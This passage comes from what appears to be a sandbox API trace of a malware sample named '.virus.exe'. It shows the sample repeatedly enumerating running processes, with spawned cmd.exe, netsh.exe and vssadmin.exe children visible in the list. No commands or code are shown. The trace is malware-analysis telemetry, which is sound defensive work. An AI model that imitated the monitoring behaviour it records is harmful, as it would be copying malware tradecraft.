th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0236.681] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0236.682] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.682] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.682] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.683] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.683] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.683] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0236.684] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.684] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.684] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0236.685] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0236.696] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0236.696] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0236.697] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.697] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0236.697] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0236.698] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0236.698] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0236.698] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0236.699] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0236.699] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0236.699] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0236.700] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0236.700] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0236.700] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0236.701] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0236.701] CloseHandle (hObject=0x1b4) returned 1 [0236.701] Sleep (dwMilliseconds=0x1f4) [0237.223] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0237.225] Process32FirstW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0237.226] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0237.226] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0237.226] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0237.227] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0237.227] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0237.227] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0237.227] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0237.228] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0237.228] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0237.228] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.229] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.229] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.229] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.230] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.230] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0237.230] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.231] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.231] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0237.231] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0237.232] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0237.232] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0237.233] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.233] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0237.233] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0237.234] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0237.234] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0237.234] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0237.235] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0237.235] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0237.235] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0237.236] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0237.236] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0237.236] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.237] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0237.237] CloseHandle (hObject=0x1b4) returned 1 [0237.237] Sleep (dwMilliseconds=0x1f4) [0237.737] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a8 [0237.739] Process32FirstW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0237.739] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0237.740] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0237.740] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0237.740] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0237.741] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0237.741] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0237.741] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0237.742] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0237.743] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0237.743] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.744] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.744] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.744] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.745] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.745] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0237.745] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.746] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0237.746] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0237.746] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0237.747] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: 